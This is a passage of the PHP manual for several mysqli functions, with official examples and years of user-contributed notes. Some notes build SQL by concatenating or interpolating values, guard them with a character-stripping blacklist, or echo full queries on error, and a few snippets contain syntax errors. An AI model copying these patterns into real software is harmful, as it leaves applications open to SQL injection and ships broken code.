will print 0 and fail with "Number of variables doesn't match number of parameters in prepared statement" warning when you try to bind the variables to it.

But

<?php
$stmt = $mysqli->prepare("INSERT INTO City (District) VALUES (?)");
echo $stmt->param_count." parameters\n";
?>
will print 1 and function correctly.

Very annoying, took me an hour to figure this out.
Ulf Wostner 23-Jan-2006 08:53
Here is an example using bind_param and bind_result, showing iteration over a list of cities.

Note that there's some bug-potential in cases where the query returns NULL for some parameter value,
but the bind_result variables still might be bound.  So, we use a conditional to spray the spot first.

$mysqli->select_db("world");

$template = "SELECT District, CountryCode FROM City WHERE Name=?";
printf("Prepare statement from template: %s\n",  $template);

$cities = array('San Francisco', 'Lisbon', 'Lisboa', 'Marrakech', 'Madrid');
printf("Cities: %s\n", join(':', $cities));

if ($stmt = $mysqli->prepare($template)) {

   foreach($cities as $city) {
     // bind the string $city to the '?'
     $stmt->bind_param("s", $city);
     $stmt->execute();
     // bind result variables
     $stmt->bind_result($d,$cc);
     // 'Lisbon' is not found in the world.City table, but 'Lisboa' is.
     // Using a conditional we avoid putting Lisbon in California.
     if($stmt->fetch()) {
       printf("%s is in  %s, %s\n", $city, $d, $cc);
     }

   }
   $stmt->close();
}

With the conditional statement we get the desired result:

Prepare statement from template: SELECT District,CountryCode FROM City WHERE Name=?
Cities: San Francisco:Lisbon:Lisboa:Marrakech:Madrid

San Francisco is in  California, USA
Lisboa is in  Lisboa, PRT
Marrakech is in  Marrakech-Tensift-Al, MAR
Madrid is in  Madrid, ESP

But, without the conditional statement we would put Lisbon in California:

San Francisco is in  California, USA
Lisbon is in  California, USA
Lisboa is in  Lisboa, PRT
Marrakech is in  Marrakech-Tensift-Al, MAR
Madrid is in  Madrid, ESP
David Kramer 20-Dec-2005 12:50
I don't think these are good examples, because the primary use of prepared queries is when you are going to call the same query in a loop, plugging in different values each time.  For instance, if you were generating a report and needed to run the same query for each line, tweaking the values in the WHERE clause, or importing data from another system.
mysqli::poll
mysqli::query
mysqli


Performs a query on the database

mysqli::prepare
mysqli::real_connect
mysqli
PHP Manual

mysqli::query

mysqli_query

(PHP 5)

mysqli::query -- mysqli_query — Performs a query on the database

Description

Object oriented style

mixed mysqli::query ( string $query [, int $resultmode = MYSQLI_STORE_RESULT ] )

Procedural style

mixed mysqli_query ( mysqli $link , string $query [, int $resultmode = MYSQLI_STORE_RESULT ] )

Performs a query against the database.

Functionally, using this function is identical to calling
mysqli_real_query() followed either by
mysqli_use_result() or
mysqli_store_result().

Note:

In the case where you pass a statement to mysqli_query() that is longer than max_allowed_packet of the server, the returned error codes are different depending on whether you are using MySQL Native Driver (mysqlnd) or MySQL Client Library (libmysql). The behavior is as follows:

  • mysqlnd on Linux returns an error code of 1153. The error message means "got a packet bigger than max_allowed_packet bytes".

  • mysqlnd on Windows returns an error code 2006. This error message means "server has gone away".

  • libmysql on all platforms returns an error code 2006. This error message means "server has gone away".

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

query

The query string.

Data inside the query should be properly escaped.

resultmode

Either the constant MYSQLI_USE_RESULT or MYSQLI_STORE_RESULT depending on the desired behavior. By default, MYSQLI_STORE_RESULT is used.

If you use MYSQLI_USE_RESULT all subsequent calls will return error Commands out of sync unless you call mysqli_free_result()

With MYSQLI_ASYNC (available with mysqlnd), it is possible to perform query asynchronously. mysqli_poll() is then used to get results from such queries.

Return Values

Returns FALSE on failure. For successful SELECT, SHOW, DESCRIBE or EXPLAIN queries mysqli_query() will return a mysqli_result object. For other successful queries mysqli_query() will return TRUE.

Changelog

Version | Description
5.3.0 | Added the ability of async queries.

Examples

Example #1 mysqli::query() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if ($mysqli->connect_errno) {
    printf("Connect failed: %s\n", $mysqli->connect_error);
    exit();
}

/* Create table doesn't return a resultset */
if ($mysqli->query("CREATE TEMPORARY TABLE myCity LIKE City") === TRUE) {
    printf("Table myCity successfully created.\n");
}

/* Select queries return a resultset */
if ($result = $mysqli->query("SELECT Name FROM City LIMIT 10")) {
    printf("Select returned %d rows.\n", $result->num_rows);

    /* free result set */
    $result->close();
}

/* If we have to retrieve large amount of data we use MYSQLI_USE_RESULT */
if ($result = $mysqli->query("SELECT * FROM City", MYSQLI_USE_RESULT)) {

    /* Note, that we can't execute any functions which interact with the
       server until result set was closed. All calls will return an
       'out of sync' error */
    if (!$mysqli->query("SET @a:='this will not work'")) {
        printf("Error: %s\n", $mysqli->error);
    }
    $result->close();
}

$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* Create table doesn't return a resultset */
if (mysqli_query($link, "CREATE TEMPORARY TABLE myCity LIKE City") === TRUE) {
    printf("Table myCity successfully created.\n");
}

/* Select queries return a resultset */
if ($result = mysqli_query($link, "SELECT Name FROM City LIMIT 10")) {
    printf("Select returned %d rows.\n", mysqli_num_rows($result));

    /* free result set */
    mysqli_free_result($result);
}

/* If we have to retrieve large amount of data we use MYSQLI_USE_RESULT */
if ($result = mysqli_query($link, "SELECT * FROM City", MYSQLI_USE_RESULT)) {

    /* Note, that we can't execute any functions which interact with the
       server until result set was closed. All calls will return an
       'out of sync' error */
    if (!mysqli_query($link, "SET @a:='this will not work'")) {
        printf("Error: %s\n", mysqli_error($link));
    }
    mysqli_free_result($result);
}

mysqli_close($link);
?>

The above examples will output:

Table myCity successfully created.
Select returned 10 rows.
Error: Commands out of sync;  You can't run this command now

See Also

  • mysqli_real_query() - Execute an SQL query
  • mysqli_multi_query() - Performs a query on the database
  • mysqli_free_result() - Frees the memory associated with a result

User Contributed Notes

marcus at synchromedia dot co dot uk 15-Jun-2011 10:17
The exact type returned by a successful query is mysqli_result.
theyranos at gmail dot com 12-Apr-2011 06:35
The cryptic "Couldn't fetch mysqli" error message can mean any number of things, including:

1. You're trying to use a database object that you've already closed (as noted by ceo at l-i-e dot com). Reopen your database connection, or find the call to <?php mysqli_close($db); ?> or <?php $db->close(); ?> and remove it.
2. Your MySQLi object has been serialized and unserialized for some reason. Define a wakeup function to re-create your database connection. http://php.net/__wakeup
3. Something besides you closed your mysqli connection (in particular, see http://bugs.php.net/bug.php?id=33772)
4. You mixed OOP and functional calls to the database object. (So, you have <?php $db->query() ?> in the same program as <?php mysqli_query($db) ?>).
petrus.jvr 14-Mar-2011 03:40
When calling multiple stored procedures, you can run into the following error: "Commands out of sync; you can't run this command now".
This can happen even when using the close() function on the result object between calls.
To fix the problem, remember to call the next_result() function on the mysqli object after each stored procedure call. See example below:

<?php
// New Connection
$db = new mysqli('localhost','user','pass','database');

// Check for errors
if(mysqli_connect_errno()){
 echo mysqli_connect_error();
}

// 1st Query
$result = $db->query("call getUsers()");
if($result){
     // Cycle through results
    while ($row = $result->fetch_object()){
        $user_arr[] = $row;
    }
    // Free result set
    $result->close();
    $db->next_result();
}

// 2nd Query
$result = $db->query("call getGroups()");
if($result){
     // Cycle through results
    while ($row = $result->fetch_object()){
        $group_arr[] = $row;
    }
     // Free result set
     $result->close();
     $db->next_result();
}
else echo($db->error);

// Close connection
$db->close();
?>
Charlie Chan 18-Oct-2010 08:03
You can create similar generic statements for updates and deletes.

<?php
function genericUpdate($tablename, $opts, $where) {
    $opts = cleanseArray($opts);
    $keys = array_keys($opts);
    $vals = array_values($opts);

    $setString;
    $whereString;
    for ($i = 0; $i < count($keys); $i++) {
        if (in_array($keys[$i], $where)) {
            if (!isset($whereString))
                $whereString = $keys[$i]." = '".$vals[$i]."'";
            else
                $whereString = $whereString." AND ".$keys[$i]." = '".$vals[$i]."'";
        } else {
            if (!isset($setString))
                $setString = $keys[$i]." = '".$vals[$i]."'";
            else
                $setString = $setString.", ".$keys[$i]." = '".$vals[$i]."'";
        }
    }

    $sql = "UPDATE $tablename SET ".$setString." WHERE ".$whereString;

    logDebug("SQL TO Update KEYS: ".$sql);

    return dbQuery($sql);

}

function genericDelete($tablename, $opts) {
    $opts = cleanseArray($opts);
    $keys = array_keys($opts);
    $vals = array_values($opts);

    $whereString;
    for ($i = 0; $i < count($keys); $i++) {
        if ($i == (count($keys) - 1))
        $whereString = $whereString.$keys[$i]." = '".$vals[$i]."'";
        else
        $whereString = $whereString.$keys[$i]." = '".$vals[$i]."' AND ";
    }

    $sql = "DELETE FROM ". $tablename . " WHERE " . $whereString;
    logDebug("SQL TO DELETE KEYS: ".$sql);

    return dbQuery($sql);
}
?>

Just be sure that you cleanse your arrays before input into DB.

<?php
function cleansePureString($str, $char = '\\')
{
    ///[^a-zA-Z0-9\s]/ NON ALPHA
    $cleansed = preg_replace("/[%_'\"]/", '', $str); //_, % and '
    //logDebug("CLEANSED VAL: ".$cleansed);
    return $cleansed;
}

function cleanseArray($opts) {
    $cleansedArray = array();
    $keys = array_keys($opts);
    $vals = array_values($opts);

    for ($i = 0; $i < count($keys); $i++) {
        $newKey = cleansePureString($keys[$i],"'");
        $newVal = cleansePureString($vals[$i],"'");
        $cleansedArray[$newKey] = $newVal;
    }
    return $cleansedArray;
}
?>
thomas dekker 23-Sep-2010 11:08
Building inserts can be annoying. This helper function inserts an array into a table, using the key names as column names:

<?php
  private function store_array (&$data, $table, $mysqli)
  {
    $cols = implode(',', array_keys($data));
    foreach (array_values($data) as $value)
    {
      isset($vals) ? $vals .= ',' : $vals = '';
      $vals .= '\''.$this->mysql->real_escape_string($value).'\'';
    }
    $mysqli->real_query('INSERT INTO '.$table.' ('.$cols.') VALUES ('.$vals.')');
  }
?>

Adapt it to your specific needs.
registrations at jdfoxmicro dot com 21-Jun-2010 04:11
I like to save the query itself in a log file, so that I don't have to worry about whether the site is live.

For example, I might have a global function:

<?php
function UpdateLog ( $string , $logfile )  {
   $fh = fopen ( $logfile , 'a' );
   $fwrite ( $fh , strftime ('%F %T %z')." ".$string."\n";
   fclose ( $fh );
}
?>

Then in my mysql function error trapper, something like this:

<?php
   $error_msg = "Database error in [page].php / ";
   $error_msg .= mysqli_error ( $link )." / ";
   $error_msg .= $query;
   UpdateLog ( $error_msg , DB_ERROR_LOG_FILE );
?>

I also include the remote IP, user agent, etc., but I left it out of these code samples.  And have it e-mail me when an error is caught, too.

Jeff
Igor 24-Nov-2008 06:54
mysqli::query() can only execute one SQL statement.

Use mysqli::multi_query() when you want to run multiple SQL statements within one query.
ceo at l-i-e dot com 27-Aug-2008 07:51
Translation:
"Couldn't fetch mysqli"

You closed your connection and are trying to use it again.

It has taken me DAYS to figure out what this obscure error message means...
NUNTIUS 01-Feb-2008 01:33
This may or may not be obvious to people but perhaps it will help someone.

When running joins in SQL you may encounter a problem if you are trying to pull two columns with the same name. mysqli returns the last in the query when called by name. So to get what you need you can use an alias.

Below I am trying to join a user id with a user role. in the first table (tbl_usr), role is a number and in the second is a  text name (tbl_memrole is a lookup table). If I call them both as role I get the text as it is the last "role" in the query. If I use an alias then I get both as desired as shown below.

<?php
$sql = "SELECT a.uid, a.role AS roleid, b.role,
            FROM tbl_usr a
            INNER JOIN tbl_memrole b
            ON a.role = b.id
            ";

    if ($result = $mysqli->query($sql)) {
        while($obj = $result->fetch_object()){
            $line.=$obj->uid;
            $line.=$obj->role;
            $line.=$obj->roleid;
        }
    }
    $result->close();
    unset($obj);
    unset($sql);
    unset($query);

?>
In this situation I guess I could have just renamed the role column in the first table roleid and that would have taken care of it, but it was a learning experience.
jcwebb at dicoe dot com 15-May-2007 01:42
When building apps, i like to see the whole statement when if fails.
<?php
$q="SELECT somecolumn FROM sometable"; //some instruction
$r=mysqli_query($DBlink,$q) or die(mysqli_error($DBlink)." Q=".$q);
?>
If theres an error (like my numerous typing mistakes) this shows the entire instruction.
Good for development (not so good on production servers - simply find and replace when finished: $r=mysqli_query($DBlink,$q); )

Hope it helps. Jon
antiriad at gmail dot com 12-Mar-2007 10:55
this is a variant of mysqli_query that returns output parameters as a rowset.

<?php
  function mysqli_exec($link, $command)
  {
      $select = '';
      $i2 = 0;

      while (true)
      {
      $i1 = strpos($command, '@', $i2);

      if ($i1 === false)
          break;

      $field = '';
      $i2 = $i1 + 1;

      while ($i2 < strlen($command) &&
          ($command[$i2] >= '0' && $command[$i2] <= '9') ||
          ($command[$i2] >= 'A' && $command[$i2] <= 'Z') ||
          ($command[$i2] >= 'a' && $command[$i2] <= 'z') ||
          ($command[$i2] == '_'))
          $i2++;

      $field = substr($command, $i1 + 1, $i2 - $i1 - 1);

      if (strlen($select) == 0)
        $select = "select @{$field} as $field";
      else
          $select = $select . ", @{$field} as $field";
      }

      if (strlen($select) > 0)
      {
        mysqli_query($link, $command);
        return mysqli_query($link, $select);
      }
      else
        return mysqli_query($link, $command);
  }
?>

an example:

<?php
  $link = mysqli_connect('localhost', 'myusr', 'mypass') or die ('Error connecting to mysql: ' . mysqli_error($link));
  mysqli_select_db($link, 'clips');

  $user_name = 'test';
  $result = mysqli_exec($link, "call do_user_login('$user_name', @session_id, @msg)");

  while ($row = mysqli_fetch_assoc($result))
  {
    echo "session_id : {$row['session_id']} <br>";
    echo "msg        : {$row['msg']} <br>";
  }
?>
info at ff dot net 08-May-2006 04:12
Calling Stored Procedures

Beeners' note/example will not work. Use mysqli_multi_query() to call a Stored Procedure. SP's have a second result-set which contains the status: 'OK' or 'ERR'. Using mysqli_query will not work, as there are multiple results.

<?php
$sQuery="CALL SomeSP('params')";
if(!mysqli_multi_query($sqlLink,$sQuery)) {
  // your error handler
}
$sqlResult=mysqli_store_result($sqlLink);

if(mysqli_more_results($this->sqlLink))//Catch 'OK'/'ERR'
  while(mysqli_next_result($this->sqlLink));
?>

You will have to rewrite/expand this a bit for more usability of course, but it's just an example.
Beeners 08-Jan-2006 12:16
Stored Procedures.

Use mysqli_query to call a stored procedure that returns a result set.

Here is a short example:

<?php
$mysqli = new mysqli(DBURI,DBUSER,DBPASS,DBNAME);
if (mysqli_connect_errno())
{
  printf("Connection failed: %s\n", mysqli_connect_error());
  exit();
}

$SQL = "CALL my_procedure($something)";
if ( ($result = $mysqli->query($SQL))===false )
{
  printf("Invalid query: %s\nWhole query: %s\n", $mysqli->error, $SQL);
  exit();
}

while ($myrow = $result->fetch_array(MYSQLI_ASSOC))
{
  $aValue[]=$myrow["a"];
  $bValue[]=$myrow["b"];
}
$result->close();
$mysqli->close();
?>
I hope this saves someone some time.
andrey at php dot net 07-Aug-2005 12:03
WARNING: This function was buggy on 64bit machines till 5.0.5. Affected versions 5.0.0-5.0.4. The problem appears when a value for the third parameter is passed - this will lead to instant FALSE returned by the function. Therefore if you need to use unbuffered query don't use this function with the aforementioned versions but you mysqli_real_query() and mysqli_use_result().
If you have the rights to patch you PHP installation the fix is easy:
In file ext/mysqli/myslqi_nonapi.c, function PHP_FUNCTION(mysqli_query)
change
unsigned int resultmode=0;
to
unsigned long resultmode=0;

Thanks!
hunreal at gmail dot com 13-Aug-2004 02:24
Use difference collation/character for connect, result.
You can set the collation before your query.

E.g. want to set the collation to utf8_general_ci
you can send the query "SET NAMES 'utf8'" first

<?php
$mysqli=new mysqli('localhost', 'root', 'password', 'test');
$mysqli->query("SET NAMES 'utf8'");
$q=$mysqli->query("select * from test");
while($r=$q->fetch_assoc()) {
    print_r($r);
}
?>

There are many variables about character settings.
By running sql command, SHOW VARIABLES LIKE 'char%';
There are some variables control the character usage.

character_set_client
character_set_connection
character_set_database
character_set_results
character_set_server
character_set_system

Also SET NAMES can repalce with one or some settings like SET character_set_results='utf8';
mysqli::prepare
mysqli::real_connect
mysqli


Opens a connection to a mysql server

mysqli::query
mysqli::real_escape_string
mysqli
PHP Manual

mysqli::real_connect

mysqli_real_connect

(PHP 5)

mysqli::real_connect -- mysqli_real_connect — Opens a connection to a mysql server

Description

Object oriented style

bool mysqli::real_connect ([ string $host [, string $username [, string $passwd [, string $dbname [, int $port [, string $socket [, int $flags ]]]]]]] )

Procedural style

bool mysqli_real_connect ( mysqli $link [, string $host [, string $username [, string $passwd [, string $dbname [, int $port [, string $socket [, int $flags ]]]]]]] )

Establish a connection to a MySQL database engine.

This function differs from mysqli_connect():

  • mysqli_real_connect() needs a valid object which has to be created by function mysqli_init().

  • With the mysqli_options() function you can set various options for connection.

  • There is a flags parameter.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

host

Can be either a host name or an IP address. Passing the NULL value or the string "localhost" to this parameter, the local host is assumed. When possible, pipes will be used instead of the TCP/IP protocol.

username

The MySQL user name.

passwd

If provided or NULL, the MySQL server will attempt to authenticate the user against those user records which have no password only. This allows one username to be used with different permissions (depending on if a password as provided or not).

dbname

If provided will specify the default database to be used when performing queries.

port

Specifies the port number to attempt to connect to the MySQL server.

socket

Specifies the socket or named pipe that should be used.

Note:

Specifying the socket parameter will not explicitly determine the type of connection to be used when connecting to the MySQL server. How the connection is made to the MySQL database is determined by the host parameter.

flags

With the parameter flags you can set different connection options:

Supported flags
Name | Description
MYSQLI_CLIENT_COMPRESS | Use compression protocol
MYSQLI_CLIENT_FOUND_ROWS | return number of matched rows, not the number of affected rows
MYSQLI_CLIENT_IGNORE_SPACE | Allow spaces after function names. Makes all function names reserved words.
MYSQLI_CLIENT_INTERACTIVE | Allow interactive_timeout seconds (instead of wait_timeout seconds) of inactivity before closing the connection
MYSQLI_CLIENT_SSL | Use SSL (encryption)

Note:

For security reasons the MULTI_STATEMENT flag is not supported in PHP. If you want to execute multiple queries use the mysqli_multi_query() function.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mysqli::real_connect() example

Object oriented style

<?php

$mysqli = mysqli_init();
if (!$mysqli) {
    die('mysqli_init failed');
}

if (!$mysqli->options(MYSQLI_INIT_COMMAND, 'SET AUTOCOMMIT = 0')) {
    die('Setting MYSQLI_INIT_COMMAND failed');
}

if (!$mysqli->options(MYSQLI_OPT_CONNECT_TIMEOUT, 5)) {
    die('Setting MYSQLI_OPT_CONNECT_TIMEOUT failed');
}

if (!$mysqli->real_connect('localhost', 'my_user', 'my_password', 'my_db')) {
    die('Connect Error (' . mysqli_connect_errno() . ') '
            . mysqli_connect_error());
}

echo 'Success... ' . $mysqli->host_info . "\n";

$mysqli->close();
?>

Object oriented style when extending mysqli class

<?php

class foo_mysqli extends mysqli {
    public function __construct($host, $user, $pass, $db) {
        parent::init();

        if (!parent::options(MYSQLI_INIT_COMMAND, 'SET AUTOCOMMIT = 0')) {
            die('Setting MYSQLI_INIT_COMMAND failed');
        }

        if (!parent::options(MYSQLI_OPT_CONNECT_TIMEOUT, 5)) {
            die('Setting MYSQLI_OPT_CONNECT_TIMEOUT failed');
        }

        if (!parent::real_connect($host, $user, $pass, $db)) {
            die('Connect Error (' . mysqli_connect_errno() . ') '
                    . mysqli_connect_error());
        }
    }
}

$db = new foo_mysqli('localhost', 'my_user', 'my_password', 'my_db');

echo 'Success... ' . $db->host_info . "\n";

$db->close();
?>

Procedural style

<?php

$link = mysqli_init();
if (!$link) {
    die('mysqli_init failed');
}

if (!mysqli_options($link, MYSQLI_INIT_COMMAND, 'SET AUTOCOMMIT = 0')) {
    die('Setting MYSQLI_INIT_COMMAND failed');
}

if (!mysqli_options($link, MYSQLI_OPT_CONNECT_TIMEOUT, 5)) {
    die('Setting MYSQLI_OPT_CONNECT_TIMEOUT failed');
}

if (!mysqli_real_connect($link, 'localhost', 'my_user', 'my_password', 'my_db')) {
    die('Connect Error (' . mysqli_connect_errno() . ') '
            . mysqli_connect_error());
}

echo 'Success... ' . mysqli_get_host_info($link) . "\n";

mysqli_close($link);
?>

The above examples will output:

Success... MySQL host info: localhost via TCP/IP

Notes

Note:

MySQLnd always assumes the server default charset. This charset is sent during connection hand-shake/authentication, which mysqlnd will use.

Libmysql uses the default charset set in the my.cnf or by an explicit call to mysqli_options() prior to calling mysqli_real_connect(), but after mysqli_init().

See Also

  • mysqli_connect() - Alias of mysqli::__construct
  • mysqli_init() - Initializes MySQLi and returns a resource for use with mysqli_real_connect()
  • mysqli_options() - Set options
  • mysqli_ssl_set() - Used for establishing secure connections using SSL
  • mysqli_close() - Closes a previously opened database connection

User Contributed Notes

php-nospam325123 at brainpower dot no-ip dot org 03-Dec-2010 03:29
this is because it tries to use sockets with the string localhost this is documented en known
Pom 01-Dec-2009 03:47
Notice that when using "localhost" as hostname the port option might be ignored.

If you wish to connect thru a different port than default, substitute "127.0.0.1" for localhost.
mysqli::query
mysqli::real_escape_string
mysqli


Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

mysqli::real_connect
mysqli::real_query
mysqli
PHP Manual

mysqli::real_escape_string

mysqli_real_escape_string

(PHP 5)

mysqli::real_escape_string -- mysqli_real_escape_string — Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

Description

Object oriented style

string mysqli::escape_string ( string $escapestr )
string mysqli::real_escape_string ( string $escapestr )

Procedural style

string mysqli_real_escape_string ( mysqli $link , string $escapestr )

This function is used to create a legal SQL string that you can use in an SQL statement. The given string is encoded to an escaped SQL string, taking into account the current character set of the connection.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

escapestr

The string to be escaped.

Characters encoded are NUL (ASCII 0), \n, \r, \, ', ", and Control-Z.

Return Values

Returns an escaped string.

Examples

Example #1 mysqli::real_escape_string() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TEMPORARY TABLE myCity LIKE City");

$city = "'s Hertogenbosch";

/* this query will fail, cause we didn't escape $city */
if (!$mysqli->query("INSERT into myCity (Name) VALUES ('$city')")) {
    printf("Error: %s\n", $mysqli->sqlstate);
}

$city = $mysqli->real_escape_string($city);

/* this query with escaped $city will work */
if ($mysqli->query("INSERT into myCity (Name) VALUES ('$city')")) {
    printf("%d Row inserted.\n", $mysqli->affected_rows);
}

$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TEMPORARY TABLE myCity LIKE City");

$city = "'s Hertogenbosch";

/* this query will fail, cause we didn't escape $city */
if (!mysqli_query($link, "INSERT into myCity (Name) VALUES ('$city')")) {
    printf("Error: %s\n", mysqli_sqlstate($link));
}

$city = mysqli_real_escape_string($link, $city);

/* this query with escaped $city will work */
if (mysqli_query($link, "INSERT into myCity (Name) VALUES ('$city')")) {
    printf("%d Row inserted.\n", mysqli_affected_rows($link));
}

mysqli_close($link);
?>

The above examples will output:

Error: 42000
1 Row inserted.

Notes

Note:

For those accustomed to using mysql_real_escape_string(),
note that the arguments of mysqli_real_escape_string()
differ from what mysql_real_escape_string() expects.
The link identifier comes first in
mysqli_real_escape_string(), whereas the string to be escaped
comes first in mysql_real_escape_string().

See Also

  • mysqli_character_set_name() - Returns the default character set for the database connection

User Contributed Notes

dave at mausner.us 25-Feb-2011 07:48
You can avoid all character escaping issues (on the PHP side) if you use prepare() and bind_param(), as an alternative to placing arbitrary string values in SQL statements.  This works because bound parameter values are NOT passed via the SQL statement syntax.
Josef Toman 26-Feb-2010 06:14
For percent sign and underscore I use this:
<?php
$more_escaped = addcslashes($escaped, '%_');
?>
vita dot plachy at seznam dot cz 09-Nov-2007 11:37
The above can be managed by the following function:

<?php
function search_escape($str, $char = '\\')
{
    return ereg_replace('[%_]', $char . '\0', $str);
}
?>
tobias_demuth at web dot de 10-Nov-2005 08:54
Note, that if no connection is open, mysqli_real_escape_string() will return an empty string!
arnoud at procurios dot nl 07-Oct-2004 09:05
Note that this function will NOT escape _ (underscore) and % (percent) signs, which have special meanings in LIKE clauses.

As far as I know there is no function to do this, so you have to escape them yourself by adding a backslash in front of them.
mysqli::real_connect
mysqli::real_query
mysqli


Execute an SQL query

mysqli::real_escape_string
mysqli::reap_async_query
mysqli
PHP Manual

mysqli::real_query

mysqli_real_query

(PHP 5)

mysqli::real_query -- mysqli_real_query — Execute an SQL query

Description

Object oriented style

bool mysqli::real_query ( string $query )

Procedural style

bool mysqli_real_query ( mysqli $link , string $query )

Executes a single query against the database whose result can then be retrieved or stored using the mysqli_store_result() or mysqli_use_result() functions.

In order to determine if a given query should return a result set or not, see mysqli_field_count().

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

query

The query, as a string.

Data inside the query should be properly escaped.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • mysqli_query() - Performs a query on the database
  • mysqli_store_result() - Transfers a result set from the last query
  • mysqli_use_result() - Initiate a result set retrieval

User Contributed Notes

There are no user contributed notes for this page.
mysqli::real_escape_string
mysqli::reap_async_query
mysqli


Get result from async query

mysqli::real_query
mysqli::refresh
mysqli
PHP Manual

mysqli::reap_async_query

mysqli_reap_async_query

(PHP 5 >= 5.3.0)

mysqli::reap_async_query -- mysqli_reap_async_query — Get result from async query

Description

Object oriented style

public mysqli_result mysqli::reap_async_query ( void )

Procedural style

mysqli_result mysqli_reap_async_query ( mysql $link )
Warning

This function is currently not documented; only its argument list is available.

Get result from async query. Available only with mysqlnd.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns mysqli_result in success, FALSE otherwise.

See Also

  • mysqli_poll() - Poll connections

User Contributed Notes

eric dot caron at gmail dot com 06-May-2010 11:05
Keep in mind that mysqli::reap_async_query only returns mysqli_result on queries like SELECT. For queries where you may be interested in things like affected_rows or insert_id, you can't work off of the result of mysqli::reap_async_query as the example in mysqli::poll leads you to believe. For INSERT/UPDATE/DELETE queries, the data corresponding to the query can be accessed through the associated key to the first array in the mysqli::poll function.

So instead of
<?php
    foreach ($links as $link) {
        if ($result = $link->reap_async_query()) {
            print_r($result->fetch_row());
            mysqli_free_result($result);
            $processed++;
        }
    }
?>

The data is accessible via:
<?php
    foreach ($links as $link) {
        if ($result = $link->reap_async_query()) {
            //This works for SELECT
            if(is_object($result)){
                print_r($result->fetch_row());
                mysqli_free_result($result);
            }
            //This works for INSERT/UPDATE/DELETE
            else {
                print_r($link);
            }
            $processed++;
        }
    }
?>
mysqli::real_query
mysqli::refresh
mysqli


Refreshes

mysqli::reap_async_query
mysqli::rollback
mysqli
PHP Manual

mysqli::refresh

mysqli_refresh

(PHP 5 <= 5.3.0)

mysqli::refresh -- mysqli_refresh — Refreshes

Description

Object oriented style

public bool mysqli::refresh ( int $options )

Procedural style

int mysqli_refresh ( resource $link , int $options )

Flushes tables or caches, or resets the replication server information.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

options

The options to refresh, using the MYSQLI_REFRESH_* constants as documented within the MySQLi constants documentation.

See also the official » MySQL Refresh documentation.

Return Values

TRUE if the refresh was a success, otherwise FALSE

See Also

  • mysqli_poll() - Poll connections

User Contributed Notes

There are no user contributed notes for this page.
mysqli::reap_async_query
mysqli::rollback
mysqli


Rolls back current transaction

mysqli::refresh
mysqli::rpl_query_type
mysqli
PHP Manual

mysqli::rollback

mysqli_rollback

(PHP 5)

mysqli::rollback -- mysqli_rollback — Rolls back current transaction

Description

Object oriented style

bool mysqli::rollback ( void )

Procedural style

bool mysqli_rollback ( mysqli $link )

Rollbacks the current transaction for the database.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mysqli::rollback() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* disable autocommit */
$mysqli->autocommit(FALSE);

$mysqli->query("CREATE TABLE myCity LIKE City");
$mysqli->query("ALTER TABLE myCity Type=InnoDB");
$mysqli->query("INSERT INTO myCity SELECT * FROM City LIMIT 50");

/* commit insert */
$mysqli->commit();

/* delete all rows */
$mysqli->query("DELETE FROM myCity");

if ($result = $mysqli->query("SELECT COUNT(*) FROM myCity")) {
    $row = $result->fetch_row();
    printf("%d rows in table myCity.\n", $row[0]);
    /* Free result */
    $result->close();
}

/* Rollback */
$mysqli->rollback();

if ($result = $mysqli->query("SELECT COUNT(*) FROM myCity")) {
    $row = $result->fetch_row();
    printf("%d rows in table myCity (after rollback).\n", $row[0]);
    /* Free result */
    $result->close();
}

/* Drop table myCity */
$mysqli->query("DROP TABLE myCity");

$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* disable autocommit */
mysqli_autocommit($link, FALSE);

mysqli_query($link, "CREATE TABLE myCity LIKE City");
mysqli_query($link, "ALTER TABLE myCity Type=InnoDB");
mysqli_query($link, "INSERT INTO myCity SELECT * FROM City LIMIT 50");

/* commit insert */
mysqli_commit($link);

/* delete all rows */
mysqli_query($link, "DELETE FROM myCity");

if ($result = mysqli_query($link, "SELECT COUNT(*) FROM myCity")) {
    $row = mysqli_fetch_row($result);
    printf("%d rows in table myCity.\n", $row[0]);
    /* Free result */
    mysqli_free_result($result);
}

/* Rollback */
mysqli_rollback($link);

if ($result = mysqli_query($link, "SELECT COUNT(*) FROM myCity")) {
    $row = mysqli_fetch_row($result);
    printf("%d rows in table myCity (after rollback).\n", $row[0]);
    /* Free result */
    mysqli_free_result($result);
}

/* Drop table myCity */
mysqli_query($link, "DROP TABLE myCity");

mysqli_close($link);
?>

The above examples will output:

0 rows in table myCity.
50 rows in table myCity (after rollback).

See Also

  • mysqli_commit() - Commits the current transaction
  • mysqli_autocommit() - Turns on or off auto-commiting database modifications

User Contributed Notes

